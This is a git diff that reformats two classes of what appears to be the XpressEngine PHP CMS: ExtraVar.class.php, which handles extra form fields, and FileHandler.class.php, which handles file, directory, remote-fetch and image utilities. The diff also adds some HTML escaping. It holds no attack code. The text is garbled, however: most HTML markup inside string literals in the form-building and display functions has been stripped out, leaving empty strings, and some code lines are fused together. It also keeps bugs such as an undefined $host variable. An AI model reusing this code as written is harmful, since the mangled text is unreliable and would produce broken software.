extra variable - * @var int - */ - var $idx = 0; + /** + * Register a key of extra variable + * + * @param object[] $extra_keys Array of extra variable. A value of array is object that contains module_srl, idx, name, default, desc, is_required, search, value, eid. + * @return void + */ + function setExtraVarKeys($extra_keys) + { + if(!is_array($extra_keys) || !count($extra_keys)) + { + return; + } - /** - * Name of extra variable - * @var string - */ - var $name = 0; + foreach($extra_keys as $key => $val) + { + $obj = null; + $obj = new ExtraItem($val->module_srl, $val->idx, $val->name, $val->type, $val->default, $val->desc, $val->is_required, $val->search, $val->value, $val->eid); + $this->keys[$val->idx] = $obj; + } + } - /** - * Type of extra variable - * @var string text, homepage, email_address, tel, textarea, checkbox, date, select, radio, kr_zip - */ - var $type = 'text'; + /** + * Returns an array of ExtraItem + * + * @return ExtraItem[] + */ + function getExtraVars() + { + return $this->keys; + } - /** - * Default values - * @var string[] - */ - var $default = null; +} - /** - * Description - * @var string - */ - var $desc = ''; +/** + * Each value of the extra vars + * + * @author NHN (developers@xpressengine.com) + */ +class ExtraItem +{ - /** - * Whether required or not requred this extra variable - * @var string Y, N - */ - var $is_required = 'N'; + /** + * Sequence of module + * @var int + */ + var $module_srl = 0; - /** - * Whether can or can not search this extra variable - * @var string Y, N - */ - var $search = 'N'; + /** + * Index of extra variable + * @var int + */ + var $idx = 0; - /** - * Value - * @var string - */ - var $value = null; + /** + * Name of extra variable + * @var string + */ + var $name = 0; - /** - * Unique id of extra variable in module - * @var string - */ - var $eid = ''; + /** + * Type of extra variable + * @var string text, homepage, email_address, tel, textarea, checkbox, date, select, radio, kr_zip + */ + var $type = 'text'; - /** - * Constructor - * - * @param int $module_srl Sequence of module - * @param int $idx Index of extra variable - * @param string $type Type of extra variable. text, homepage, email_address, tel, textarea, checkbox, date, sleect, radio, kr_zip - * @param string[] $default Default values - * @param string $desc Description - * @param string $is_required Whether required or not requred this extra variable. Y, N - * @param string $search Whether can or can not search this extra variable - * @param string $value Value - * @param string $eid Unique id of extra variable in module - * @return void - **/ - function ExtraItem($module_srl, $idx, $name, $type = 'text', $default = null, $desc = '', $is_required = 'N', $search = 'N', $value = null, $eid = '') { - if(!$idx) return; - $this->module_srl = $module_srl; - $this->idx = $idx; - $this->name = $name; - $this->type = $type; - $this->default = $default; - $this->desc = $desc; - $this->is_required = $is_required; - $this->search = $search; - $this->value = $value; - $this->eid = $eid; - } + /** + * Default values + * @var string[] + */ + var $default = null; - /** - * Sets Value - * - * @param string $value The value to set - * @return void - **/ - function setValue($value) { - $this->value = $value; - } + /** + * Description + * @var string + */ + var $desc = ''; - /** - * Returns a given value converted based on its type - * - * @param string $type Type of variable - * @param string $value Value - * @return string Returns a converted value - **/ - function _getTypeValue($type, $value) { - $value = trim($value); - if(!isset($value)) return; - switch($type) { - case 'homepage' : - if($value && !preg_match('/^([a-z]+):\/\//i',$value)) $value = 'http://'.$value; - return htmlspecialchars($value); - break; - case 'tel' : - if(is_array($value)) $values = $value; - elseif(strpos($value,'|@|')!==false) $values = explode('|@|', $value); - elseif(strpos($value,',')!==false) $values = explode(',', $value); - $values[0] = $values[0]; - $values[1] = $values[1]; - $values[2] = $values[2]; - return $values; - break; - break; - case 'checkbox' : - case 'radio' : - case 'select' : - if(is_array($value)) $values = $value; - elseif(strpos($value,'|@|')!==false) $values = explode('|@|', $value); - elseif(strpos($value,',')!==false) $values = explode(',', $value); - else $values = array($value); - for($i=0;$i_getTypeValue($this->type, $this->value); - switch($this->type) { - case 'homepage' : - return ($value)?(sprintf('%s', $value, strlen($value)>60?substr($value,0,40).'...'.substr($value,-10):$value)):""; - case 'email_address' : - return ($value)?sprintf('%s', $value, $value):""; - break; - case 'tel' : - return sprintf('%s - %s - %s', $value[0],$value[1],$value[2]); - break; - case 'textarea' : - return nl2br($value); - break; - case 'checkbox' : - if(is_array($value)) return implode(', ',$value); - else return $value; - break; - case 'date' : - return zdate($value,"Y-m-d"); - break; - case 'select' : - case 'radio' : - if(is_array($value)) return implode(', ',$value); - else return $value; - break; - case 'kr_zip' : - if(is_array($value)) return implode(' ',$value); - else return $value; - break; - // case 'text' : - default : - return $value; - } - } + /** + * Whether can or can not search this extra variable + * @var string Y, N + */ + var $search = 'N'; - /** - * Returns a form based on its type - * - * @return string Returns a form html. - **/ - function getFormHTML() { - static $id_num = 1000; + /** + * Value + * @var string + */ + var $value = null; - $type = $this->type; - $name = $this->name; - $value = $this->_getTypeValue($this->type, $this->value); - $default = $this->_getTypeValue($this->type, $this->default); - $column_name = 'extra_vars'.$this->idx; - $tmp_id = $column_name.'-'.$id_num++; + /** + * Unique id of extra variable in module + * @var string + */ + var $eid = ''; - $buff = ''; - switch($type) { - // Homepage - case 'homepage' : - $buff .= ''; - break; - // Email Address - case 'email_address' : - $buff .= ''; - break; - // Phone Number - case 'tel' : - $buff .= - ''. - ''. - ''; - break; + /** + * Constructor + * + * @param int $module_srl Sequence of module + * @param int $idx Index of extra variable + * @param string $type Type of extra variable. text, homepage, email_address, tel, textarea, checkbox, date, sleect, radio, kr_zip + * @param string[] $default Default values + * @param string $desc Description + * @param string $is_required Whether required or not requred this extra variable. Y, N + * @param string $search Whether can or can not search this extra variable + * @param string $value Value + * @param string $eid Unique id of extra variable in module + * @return void + */ + function ExtraItem($module_srl, $idx, $name, $type = 'text', $default = null, $desc = '', $is_required = 'N', $search = 'N', $value = null, $eid = '') + { + if(!$idx) + { + return; + } - // textarea - case 'textarea' : - $buff .= ''; - break; - // multiple choice - case 'checkbox' : - $buff .= '
      '; - foreach($default as $v) { - if($value && in_array(trim($v), $value)) $checked = ' checked="checked"'; - else $checked = ''; + $this->module_srl = $module_srl; + $this->idx = $idx; + $this->name = $name; + $this->type = $type; + $this->default = $default; + $this->desc = $desc; + $this->is_required = $is_required; + $this->search = $search; + $this->value = $value; + $this->eid = $eid; + } - // Temporary ID for labeling - $tmp_id = $column_name.'-'.$id_num++; + /** + * Sets Value + * + * @param string $value The value to set + * @return void + */ + function setValue($value) + { + $this->value = $value; + } - $buff .='
    • '; - } - $buff .= '
    '; - break; - // single choice - case 'select' : - $buff .= ''; - break; + /** + * Returns a given value converted based on its type + * + * @param string $type Type of variable + * @param string $value Value + * @return string Returns a converted value + */ + function _getTypeValue($type, $value) + { + $value = trim($value); + if(!isset($value)) + { + return; + } - // radio - case 'radio' : - $buff .= '
      '; - foreach($default as $v) { - if($value && in_array($v,$value)) $checked = ' checked="checked"'; - else $checked = ''; + switch($type) + { + case 'homepage' : + if($value && !preg_match('/^([a-z]+):\/\//i', $value)) + { + $value = 'http://' . $value; + } + return htmlspecialchars($value); - // Temporary ID for labeling - $tmp_id = $column_name.'-'.$id_num++; + case 'tel' : + if(is_array($value)) + { + $values = $value; + } + elseif(strpos($value, '|@|') !== FALSE) + { + $values = explode('|@|', $value); + } + elseif(strpos($value, ',') !== FALSE) + { + $values = explode(',', $value); + } - $buff .= '
    • '; - } - $buff .= '
    '; - break; - // date - case 'date' : - // datepicker javascript plugin load - Context::loadJavascriptPlugin('ui.datepicker'); + $values[0] = $values[0]; + $values[1] = $values[1]; + $values[2] = $values[2]; + return $values; - $buff .= - ''. - ' '."\n". - ''; - break; - // address - case "kr_zip" : - // krzip address javascript plugin load - Context::loadJavascriptPlugin('ui.krzip'); + case 'checkbox' : + case 'radio' : + case 'select' : + if(is_array($value)) + { + $values = $value; + } + elseif(strpos($value, '|@|') !== FALSE) + { + $values = explode('|@|', $value); + } + elseif(strpos($value, ',') !== FALSE) + { + $values = explode(',', $value); + } + else + { + $values = array($value); + } - $buff .= - ''. + for($i = 0; $i < count($values); $i++) + { + $values[$i] = htmlspecialchars($values[$i]); + } - ''. + return $values; - ''. + case 'kr_zip' : + if(is_array($value)) + { + $values = $value; + } + elseif(strpos($value, '|@|') !== false) + { + $values = explode('|@|', $value); + } + elseif(strpos($value, ',') !== false) + { + $values = explode(',', $value); + } + else + { + $values = array($value); + } - ''. - ''; - break; - // General text - default : - $buff .=' '; - break; - } - if($this->desc) $buff .= '

    '.$this->desc.'

    '; - return $buff; - } - } -?> + return $values; + + //case 'date' : + //case 'email_address' : + //case 'text' : + //case 'textarea' : + default : + return htmlspecialchars($value); + } + } + + /** + * Returns a value for HTML + * + * @return string Returns a value expressed in HTML. + */ + function getValueHTML() + { + $value = $this->_getTypeValue($this->type, $this->value); + + switch($this->type) + { + case 'homepage' : + return ($value) ? (sprintf('%s', $value, strlen($value) > 60 ? substr($value, 0, 40) . '...' . substr($value, -10) : $value)) : ""; + + case 'email_address' : + return ($value) ? sprintf('%s', $value, $value) : ""; + + case 'tel' : + return sprintf('%s - %s - %s', $value[0], $value[1], $value[2]); + + case 'textarea' : + return nl2br($value); + + case 'checkbox' : + if(is_array($value)) + { + return implode(', ', $value); + } + else + { + return $value; + } + + case 'date' : + return zdate($value, "Y-m-d"); + + case 'select' : + case 'radio' : + if(is_array($value)) + { + return implode(', ', $value); + } + else + { + return $value; + } + + case 'kr_zip' : + if(is_array($value)) + { + return implode(' ', $value); + } + else + { + return $value; + } + + // case 'text' : + default : + return $value; + } + } + + /** + * Returns a form based on its type + * + * @return string Returns a form html. + */ + function getFormHTML() + { + static $id_num = 1000; + + $type = $this->type; + $name = $this->name; + $value = $this->_getTypeValue($this->type, $this->value); + $default = $this->_getTypeValue($this->type, $this->default); + $column_name = 'extra_vars' . $this->idx; + $tmp_id = $column_name . '-' . $id_num++; + + $buff = ''; + switch($type) + { + // Homepage + case 'homepage' : + $buff .= ''; + break; + // Email Address + case 'email_address' : + $buff .= ''; + break; + // Phone Number + case 'tel' : + $buff .= + '' . + '' . + ''; + break; + // textarea + case 'textarea' : + $buff .= ''; + break; + // multiple choice + case 'checkbox' : + $buff .= '
      '; + foreach($default as $v) + { + if($value && in_array(trim($v), $value)) + { + $checked = ' checked="checked"'; + } + else + { + $checked = ''; + } + + // Temporary ID for labeling + $tmp_id = $column_name . '-' . $id_num++; + + $buff .='
    • '; + } + $buff .= '
    '; + break; + // single choice + case 'select' : + $buff .= ''; + break; + // radio + case 'radio' : + $buff .= '
      '; + foreach($default as $v) + { + if($value && in_array(trim($v), $value)) + { + $checked = ' checked="checked"'; + } + else + { + $checked = ''; + } + + // Temporary ID for labeling + $tmp_id = $column_name . '-' . $id_num++; + + $buff .= '
    • '; + } + $buff .= '
    '; + break; + // date + case 'date' : + // datepicker javascript plugin load + Context::loadJavascriptPlugin('ui.datepicker'); + + $buff .= + '' . + ' ' . "\n" . + ''; + break; + // address + case "kr_zip" : + // krzip address javascript plugin load + Context::loadJavascriptPlugin('ui.krzip'); + + $buff .= + '' . + '' . + '' . + '' . + ''; + break; + // General text + default : + $buff .=' '; + break; + } + if($this->desc) + { + $buff .= '

    ' . htmlspecialchars($this->desc) . '

    '; + } + + return $buff; + } + +} +/* End of file ExtraVar.class.php */ +/* Location: ./classes/extravar/ExtraVar.class.php */ diff --git a/classes/file/FileHandler.class.php b/classes/file/FileHandler.class.php index afe3c791b..bca876e0b 100644 --- a/classes/file/FileHandler.class.php +++ b/classes/file/FileHandler.class.php @@ -1,19 +1,26 @@ read()) { - if(substr($file,0,1)=='.') continue; - if($filter && preg_match($filter, $file)) continue; - if(is_dir($source_dir.$file)){ - FileHandler::copyDir($source_dir.$file,$target_dir.$file,$type); - }else{ - if($type == 'force'){ - @unlink($target_dir.$file); - }else{ - if(!file_exists($target_dir.$file)) @copy($source_dir.$file,$target_dir.$file); + while($file = $oDir->read()) + { + if(substr($file, 0, 1) == '.') + { + continue; + } + + if($filter && preg_match($filter, $file)) + { + continue; + } + + if(is_dir($source_dir . $file)) + { + FileHandler::copyDir($source_dir . $file, $target_dir . $file, $type); + } + else + { + if($type == 'force') + { + @unlink($target_dir . $file); + } + else + { + if(!file_exists($target_dir . $file)) + { + @copy($source_dir . $file, $target_dir . $file); + } } } } @@ -61,15 +101,25 @@ class FileHandler { * @param string $target Path of target file * @param string $force Y: overwrite * @return void - **/ - function copyFile($source, $target, $force='Y'){ - setlocale(LC_CTYPE, 'en_US.UTF8', 'ko_KR.UTF8'); + */ + function copyFile($source, $target, $force = 'Y') + { + setlocale(LC_CTYPE, 'en_US.UTF8', 'ko_KR.UTF8'); $source = FileHandler::getRealPath($source); $target_dir = FileHandler::getRealPath(dirname($target)); $target = basename($target); - if(!file_exists($target_dir)) FileHandler::makeDir($target_dir); - if($force=='Y') @unlink($target_dir.'/'.$target); - @copy($source, $target_dir.'/'.$target); + + if(!file_exists($target_dir)) + { + FileHandler::makeDir($target_dir); + } + + if($force == 'Y') + { + @unlink($target_dir . '/' . $target); + } + + @copy($source, $target_dir . '/' . $target); } /** @@ -77,26 +127,23 @@ class FileHandler { * * @param string $file_name Path of target file * @return string The content of the file. If target file does not exist, this function returns nothing. - **/ - function readFile($file_name) { + */ + function readFile($file_name) + { $file_name = FileHandler::getRealPath($file_name); - if(!file_exists($file_name)) return; - $filesize = filesize($file_name); - if($filesize<1) return; - - if(function_exists('file_get_contents')) return @file_get_contents($file_name); - - $fp = fopen($file_name, "r"); - $buff = ''; - if($fp) { - while(!feof($fp) && strlen($buff)<=$filesize) { - $str = fgets($fp, 1024); - $buff .= $str; - } - fclose($fp); + if(!file_exists($file_name)) + { + return; } - return $buff; + + $filesize = filesize($file_name); + if($filesize < 1) + { + return; + } + + return @file_get_contents($file_name); } /** @@ -106,19 +153,29 @@ class FileHandler { * @param string $buff Content to be writeen * @param string $mode a(append) / w(write) * @return void - **/ - function writeFile($file_name, $buff, $mode = "w") { + */ + function writeFile($file_name, $buff, $mode = "w") + { $file_name = FileHandler::getRealPath($file_name); $pathinfo = pathinfo($file_name); $path = $pathinfo['dirname']; - if(!is_dir($path)) FileHandler::makeDir($path); + if(!is_dir($path)) + { + FileHandler::makeDir($path); + } $mode = strtolower($mode); - if($mode != "a") $mode = "w"; - if(@!$fp = fopen($file_name,$mode)) return false; - fwrite($fp, $buff); - fclose($fp); + if($mode == 'a') + { + $flags = FILE_APPEND; + } + else + { + $flags = 0; + } + + @file_put_contents($file_name, $buff, $flags); @chmod($file_name, 0644); } @@ -127,8 +184,9 @@ class FileHandler { * * @param string $file_name path of target file * @return bool Returns true on success or false on failure. - **/ - function removeFile($file_name) { + */ + function removeFile($file_name) + { $file_name = FileHandler::getRealPath($file_name); return (file_exists($file_name) && @unlink($file_name)); } @@ -141,8 +199,9 @@ class FileHandler { * @param string $source Path of source file * @param string $target Path of target file * @return bool Returns true on success or false on failure. - **/ - function rename($source, $target) { + */ + function rename($source, $target) + { $source = FileHandler::getRealPath($source); $target = FileHandler::getRealPath($target); return @rename($source, $target); @@ -155,7 +214,8 @@ class FileHandler { * @param string $target Path of target file * @return bool Returns true on success or false on failure. */ - function moveFile($source, $target) { + function moveFile($source, $target) + { $source = FileHandler::getRealPath($source); if(!file_exists($source)) { @@ -173,8 +233,9 @@ class FileHandler { * @param string $source_dir Path of source directory * @param string $target_dir Path of target directory * @return void - **/ - function moveDir($source_dir, $target_dir) { + */ + function moveDir($source_dir, $target_dir) + { FileHandler::rename($source_dir, $target_dir); } @@ -188,31 +249,60 @@ class FileHandler { * @param bool $to_lower If true, file names will be changed into lower case. * @param bool $concat_prefix If true, return file name as absolute path * @return string[] Array of the filenames in the path - **/ - function readDir($path, $filter = '', $to_lower = false, $concat_prefix = false) { + */ + function readDir($path, $filter = '', $to_lower = false, $concat_prefix = false) + { $path = FileHandler::getRealPath($path); - if(substr($path,-1)!='/') $path .= '/'; - if(!is_dir($path)) return array(); + if(substr($path, -1) != '/') + { + $path .= '/'; + } + + if(!is_dir($path)) + { + return array(); + } $oDir = dir($path); - while($file = $oDir->read()) { - if(substr($file,0,1)=='.') continue; + while($file = $oDir->read()) + { + if(substr($file, 0, 1) == '.') + { + continue; + } - if($filter && !preg_match($filter, $file)) continue; + if($filter && !preg_match($filter, $file)) + { + continue; + } - if($to_lower) $file = strtolower($file); + if($to_lower) + { + $file = strtolower($file); + } - if($filter) $file = preg_replace($filter, '$1', $file); - else $file = $file; + if($filter) + { + $file = preg_replace($filter, '$1', $file); + } + else + { + $file = $file; + } - if($concat_prefix) { + if($concat_prefix) + { $file = sprintf('%s%s', str_replace(_XE_PATH_, '', $path), $file); } $output[] = $file; } - if(!$output) return array(); + + if(!$output) + { + return array(); + } return $output; } @@ -224,43 +314,71 @@ class FileHandler { * * @param string $path_string Path of target directory * @return bool true if success. It might return nothing when ftp is used and connection to the ftp address failed. - **/ - function makeDir($path_string) { + */ + function makeDir($path_string) + { static $oFtp = null; // if safe_mode is on, use FTP - if(ini_get('safe_mode')) { + if(ini_get('safe_mode')) + { $ftp_info = Context::getFTPInfo(); - if($oFtp == null) { - if(!Context::isFTPRegisted()) return; + if($oFtp == null) + { + if(!Context::isFTPRegisted()) + { + return; + } - require_once(_XE_PATH_.'libs/ftp.class.php'); + require_once(_XE_PATH_ . 'libs/ftp.class.php'); $oFtp = new ftp(); - if(!$ftp_info->ftp_host) $ftp_info->ftp_host = "127.0.0.1"; - if(!$ftp_info->ftp_port) $ftp_info->ftp_port = 21; - if(!$oFtp->ftp_connect($ftp_info->ftp_host, $ftp_info->ftp_port)) return; - if(!$oFtp->ftp_login($ftp_info->ftp_user, $ftp_info->ftp_password)) { + if(!$ftp_info->ftp_host) + { + $ftp_info->ftp_host = "127.0.0.1"; + } + if(!$ftp_info->ftp_port) + { + $ftp_info->ftp_port = 21; + } + if(!$oFtp->ftp_connect($ftp_info->ftp_host, $ftp_info->ftp_port)) + { + return; + } + if(!$oFtp->ftp_login($ftp_info->ftp_user, $ftp_info->ftp_password)) + { $oFtp->ftp_quit(); return; } } $ftp_path = $ftp_info->ftp_root_path; - if(!$ftp_path) $ftp_path = "/"; + if(!$ftp_path) + { + $ftp_path = "/"; + } } - $path_string = str_replace(_XE_PATH_,'',$path_string); + $path_string = str_replace(_XE_PATH_, '', $path_string); $path_list = explode('/', $path_string); $path = _XE_PATH_; - for($i=0;$iftp_mkdir($ftp_path); - $oFtp->ftp_site("CHMOD 777 ".$ftp_path); - } else { + $oFtp->ftp_site("CHMOD 777 " . $ftp_path); + } + else + { @mkdir($path, 0755); @chmod($path, 0755); } @@ -275,17 +393,27 @@ class FileHandler { * * @param string $path Path of the target directory * @return void - **/ - function removeDir($path) { + */ + function removeDir($path) + { $path = FileHandler::getRealPath($path); - if(!is_dir($path)) return; + if(!is_dir($path)) + { + return; + } + $directory = dir($path); - while($entry = $directory->read()) { - if ($entry != "." && $entry != "..") { - if (is_dir($path."/".$entry)) { - FileHandler::removeDir($path."/".$entry); - } else { - @unlink($path."/".$entry); + while($entry = $directory->read()) + { + if($entry != "." && $entry != "..") + { + if(is_dir($path . "/" . $entry)) + { + FileHandler::removeDir($path . "/" . $entry); + } + else + { + @unlink($path . "/" . $entry); } } } @@ -298,23 +426,37 @@ class FileHandler { * * @param string $path Path of the target directory * @return void - **/ - function removeBlankDir($path) { + */ + function removeBlankDir($path) + { $item_cnt = 0; $path = FileHandler::getRealPath($path); - if(!is_dir($path)) return; + if(!is_dir($path)) + { + return; + } + $directory = dir($path); - while($entry = $directory->read()) { - if ($entry == "." || $entry == "..") continue; - if (is_dir($path."/".$entry)) $item_cnt = FileHandler::removeBlankDir($path.'/'.$entry); + while($entry = $directory->read()) + { + if($entry == "." || $entry == "..") + { + continue; + } + if(is_dir($path . "/" . $entry)) + { + $item_cnt = FileHandler::removeBlankDir($path . '/' . $entry); + } } $directory->close(); - if($item_cnt < 1) @rmdir($path); + if($item_cnt < 1) + { + @rmdir($path); + } } - /** * Remove files in the target directory * @@ -322,17 +464,27 @@ class FileHandler { * * @param string $path Path of the target directory * @return void - **/ - function removeFilesInDir($path) { + */ + function removeFilesInDir($path) + { $path = FileHandler::getRealPath($path); - if(!is_dir($path)) return; + if(!is_dir($path)) + { + return; + } + $directory = dir($path); - while($entry = $directory->read()) { - if ($entry != "." && $entry != "..") { - if (is_dir($path."/".$entry)) { - FileHandler::removeFilesInDir($path."/".$entry); - } else { - @unlink($path."/".$entry); + while($entry = $directory->read()) + { + if($entry != "." && $entry != "..") + { + if(is_dir($path . "/" . $entry)) + { + FileHandler::removeFilesInDir($path . "/" . $entry); + } + else + { + @unlink($path . "/" . $entry); } } } @@ -345,13 +497,30 @@ class FileHandler { * @see FileHandler::returnBytes() * @param int $size Number of the size * @return string File size string - **/ - function filesize($size) { - if(!$size) return '0Byte'; - if($size === 1) return '1Byte'; - if($size < 1024) return $size.'Bytes'; - if($size >= 1024 && $size < 1024*1024) return sprintf("%0.1fKB",$size / 1024); - return sprintf("%0.2fMB",$size / (1024*1024)); + */ + function filesize($size) + { + if(!$size) + { + return '0Byte'; + } + + if($size === 1) + { + return '1Byte'; + } + + if($size < 1024) + { + return $size . 'Bytes'; + } + + if($size >= 1024 && $size < 1024 * 1024) + { + return sprintf("%0.1fKB", $size / 1024); + } + + return sprintf("%0.2fMB", $size / (1024 * 1024)); } /** @@ -368,88 +537,86 @@ class FileHandler { * @param string[] $cookies Cookies key value array. * @param string $post_data Request arguments array for POST method * @return string If success, the content of the target file. Otherwise: none - **/ - function getRemoteResource($url, $body = null, $timeout = 3, $method = 'GET', $content_type = null, $headers = array(), $cookies = array(), $post_data = array()) { - if(version_compare(PHP_VERSION, '5.0.0', '>=')) + */ + function getRemoteResource($url, $body = null, $timeout = 3, $method = 'GET', $content_type = null, $headers = array(), $cookies = array(), $post_data = array()) + { + try { - return include _XE_PATH_ . 'classes/file/getRemoteResourcePHP5.php'; + requirePear(); + require_once('HTTP/Request.php'); + + $parsed_url = parse_url(__PROXY_SERVER__); + if($parsed_url["host"]) + { + $oRequest = new HTTP_Request(__PROXY_SERVER__); + $oRequest->setMethod('POST'); + $oRequest->_timeout = $timeout; + $oRequest->addPostData('arg', serialize(array('Destination' => $url, 'method' => $method, 'body' => $body, 'content_type' => $content_type, "headers" => $headers, "post_data" => $post_data))); + } + else + { + $oRequest = new HTTP_Request($url); + if(count($headers)) + { + foreach($headers as $key => $val) + { + $oRequest->addHeader($key, $val); + } + } + if($cookies[$host]) + { + foreach($cookies[$host] as $key => $val) + { + $oRequest->addCookie($key, $val); + } + } + if(count($post_data)) + { + foreach($post_data as $key => $val) + { + $oRequest->addPostData($key, $val); + } + } + if(!$content_type) + $oRequest->addHeader('Content-Type', 'text/html'); + else + $oRequest->addHeader('Content-Type', $content_type); + $oRequest->setMethod($method); + if($body) + $oRequest->setBody($body); + + $oRequest->_timeout = $timeout; + } + + $oResponse = $oRequest->sendRequest(); + + $code = $oRequest->getResponseCode(); + $header = $oRequest->getResponseHeader(); + $response = $oRequest->getResponseBody(); + if($c = $oRequest->getResponseCookies()) + { + foreach($c as $k => $v) + { + $cookies[$host][$v['name']] = $v['value']; + } + } + + if($code > 300 && $code < 399 && $header['location']) + { + return FileHandler::getRemoteResource($header['location'], $body, $timeout, $method, $content_type, $headers, $cookies, $post_data); + } + + if($code != 200) + return; + + return $response; } - else + catch(Exception $e) { - return FileHandler::_getRemoteResource($url, $boyd, $timeout, $mehtod, $conent_type, $headers, $cookies, $post_data); + return NULL; } } - /** - * Return remote file's content via HTTP - * - * If the target is moved (when return code is 300~399), this function follows the location specified response header. - * - * @param string $url The address of the target file - * @param string $body HTTP request body - * @param int $timeout Connection timeout - * @param string $method GET/POST - * @param string $content_type Content type header of HTTP request - * @param string[] $headers Headers key vaule array. - * @param string[] $cookies Cookies key value array. - * @param string $post_data Request arguments array for POST method - * @return string If success, the content of the target file. Otherwise: none - **/ - function _getRemoteResource($url, $body = null, $timeout = 3, $method = 'GET', $content_type = null, $headers = array(), $cookies = array(), $post_data = array()) { - requirePear(); - require_once('HTTP/Request.php'); - - $parsed_url = parse_url(__PROXY_SERVER__); - if($parsed_url["host"]) { - $oRequest = new HTTP_Request(__PROXY_SERVER__); - $oRequest->setMethod('POST'); - $oRequest->_timeout = $timeout; - $oRequest->addPostData('arg', serialize(array('Destination'=>$url, 'method'=>$method, 'body'=>$body, 'content_type'=>$content_type, "headers"=>$headers, "post_data"=>$post_data))); - } else { - $oRequest = new HTTP_Request($url); - if(count($headers)) { - foreach($headers as $key => $val) { - $oRequest->addHeader($key, $val); - } - } - if($cookies[$host]) { - foreach($cookies[$host] as $key => $val) { - $oRequest->addCookie($key, $val); - } - } - if(count($post_data)) { - foreach($post_data as $key => $val) { - $oRequest->addPostData($key, $val); - } - } - if(!$content_type) $oRequest->addHeader('Content-Type', 'text/html'); - else $oRequest->addHeader('Content-Type', $content_type); - $oRequest->setMethod($method); - if($body) $oRequest->setBody($body); - - $oRequest->_timeout = $timeout; - } - - $oResponse = $oRequest->sendRequest(); - - $code = $oRequest->getResponseCode(); - $header = $oRequest->getResponseHeader(); - $response = $oRequest->getResponseBody(); - if($c = $oRequest->getResponseCookies()) { - foreach($c as $k => $v) { - $cookies[$host][$v['name']] = $v['value']; - } - } - - if($code > 300 && $code < 399 && $header['location']) { - return FileHandler::getRemoteResource($header['location'], $body, $timeout, $method, $content_type, $headers, $cookies, $post_data); - } - - if($code != 200) return; - - return $response; - } - /** * Retrieves remote file, then stores it into target path. * @@ -461,13 +628,17 @@ class FileHandler { * @param string $content_type Content type header of HTTP request * @param string[] $headers Headers key vaule array. * @return bool true: success, false: failed - **/ - function getRemoteFile($url, $target_filename, $body = null, $timeout = 3, $method = 'GET', $content_type = null, $headers = array()) { + */ + function getRemoteFile($url, $target_filename, $body = null, $timeout = 3, $method = 'GET', $content_type = null, $headers = array()) + { $body = FileHandler::getRemoteResource($url, $body, $timeout, $method, $content_type, $headers); - if(!$body) return false; + if(!$body) + { + return FALSE; + } $target_filename = FileHandler::getRealPath($target_filename); FileHandler::writeFile($target_filename, $body); - return true; + return TRUE; } /** @@ -481,10 +652,22 @@ class FileHandler { { $val = trim($val); $last = strtolower(substr($val, -1)); - if($last == 'g') $val *= 1024*1024*1024; - else if($last == 'm') $val *= 1024*1024; - else if($last == 'k') $val *= 1024; - else $val *= 1; + if($last == 'g') + { + $val *= 1024 * 1024 * 1024; + } + else if($last == 'm') + { + $val *= 1024 * 1024; + } + else if($last == 'k') + { + $val *= 1024; + } + else + { + $val *= 1; + } return $val; } @@ -497,15 +680,25 @@ class FileHandler { */ function checkMemoryLoadImage(&$imageInfo) { - if(!function_exists('memory_get_usage')) return true; + if(!function_exists('memory_get_usage')) + { + return TRUE; + } + $K64 = 65536; $TWEAKFACTOR = 2.0; $channels = $imageInfo['channels']; - if(!$channels) $channels = 6; //for png - $memoryNeeded = round( ($imageInfo[0] * $imageInfo[1] * $imageInfo['bits'] * $channels / 8 + $K64 ) * $TWEAKFACTOR ); + if(!$channels) + { + $channels = 6; //for png + } + $memoryNeeded = round(($imageInfo[0] * $imageInfo[1] * $imageInfo['bits'] * $channels / 8 + $K64 ) * $TWEAKFACTOR); $availableMemory = FileHandler::returnBytes(ini_get('memory_limit')) - memory_get_usage(); - if($availableMemory < $memoryNeeded) return false; - return true; + if($availableMemory < $memoryNeeded) + { + return FALSE; + } + return TRUE; } /** @@ -518,149 +711,257 @@ class FileHandler { * @param string $target_type If $target_type is set (gif, jpg, png, bmp), result image will be saved as target type * @param string $thumbnail_type Thumbnail type(crop, ratio) * @return bool true: success, false: failed - **/ - function createImageFile($source_file, $target_file, $resize_width = 0, $resize_height = 0, $target_type = '', $thumbnail_type = 'crop') { + */ + function createImageFile($source_file, $target_file, $resize_width = 0, $resize_height = 0, $target_type = '', $thumbnail_type = 'crop') + { $source_file = FileHandler::getRealPath($source_file); $target_file = FileHandler::getRealPath($target_file); - if(!file_exists($source_file)) return; - if(!$resize_width) $resize_width = 100; - if(!$resize_height) $resize_height = $resize_width; + if(!file_exists($source_file)) + { + return; + } + if(!$resize_width) + { + $resize_width = 100; + } + if(!$resize_height) + { + $resize_height = $resize_width; + } // retrieve source image's information $imageInfo = getimagesize($source_file); - if(!FileHandler::checkMemoryLoadImage($imageInfo)) return false; + if(!FileHandler::checkMemoryLoadImage($imageInfo)) + { + return FALSE; + } list($width, $height, $type, $attrs) = $imageInfo; - if($width<1 || $height<1) return; + if($width < 1 || $height < 1) + { + return; + } - switch($type) { + switch($type) + { case '1' : - $type = 'gif'; + $type = 'gif'; break; case '2' : - $type = 'jpg'; + $type = 'jpg'; break; case '3' : - $type = 'png'; + $type = 'png'; break; case '6' : - $type = 'bmp'; + $type = 'bmp'; break; default : - return; + return; break; } // if original image is larger than specified size to resize, calculate the ratio - if($resize_width > 0 && $width >= $resize_width) $width_per = $resize_width / $width; - else $width_per = 1; - - if($resize_height>0 && $height >= $resize_height) $height_per = $resize_height / $height; - else $height_per = 1; - - if($thumbnail_type == 'ratio') { - if($width_per>$height_per) $per = $height_per; - else $per = $width_per; - $resize_width = $width * $per; - $resize_height = $height * $per; - } else { - if($width_per < $height_per) $per = $height_per; - else $per = $width_per; + if($resize_width > 0 && $width >= $resize_width) + { + $width_per = $resize_width / $width; + } + else + { + $width_per = 1; } - if(!$per) $per = 1; + if($resize_height > 0 && $height >= $resize_height) + { + $height_per = $resize_height / $height; + } + else + { + $height_per = 1; + } + + if($thumbnail_type == 'ratio') + { + if($width_per > $height_per) + { + $per = $height_per; + } + else + { + $per = $width_per; + } + $resize_width = $width * $per; + $resize_height = $height * $per; + } + else + { + if($width_per < $height_per) + { + $per = $height_per; + } + else + { + $per = $width_per; + } + } + + if(!$per) + { + $per = 1; + } // get type of target file - if(!$target_type) $target_type = $type; + if(!$target_type) + { + $target_type = $type; + } $target_type = strtolower($target_type); // create temporary image with target size - if(function_exists('imagecreatetruecolor')) $thumb = imagecreatetruecolor($resize_width, $resize_height); - else if(function_exists('imagecreate')) $thumb = imagecreate($resize_width, $resize_height); - else return false; - if(!$thumb) return false; + if(function_exists('imagecreatetruecolor')) + { + $thumb = imagecreatetruecolor($resize_width, $resize_height); + } + else 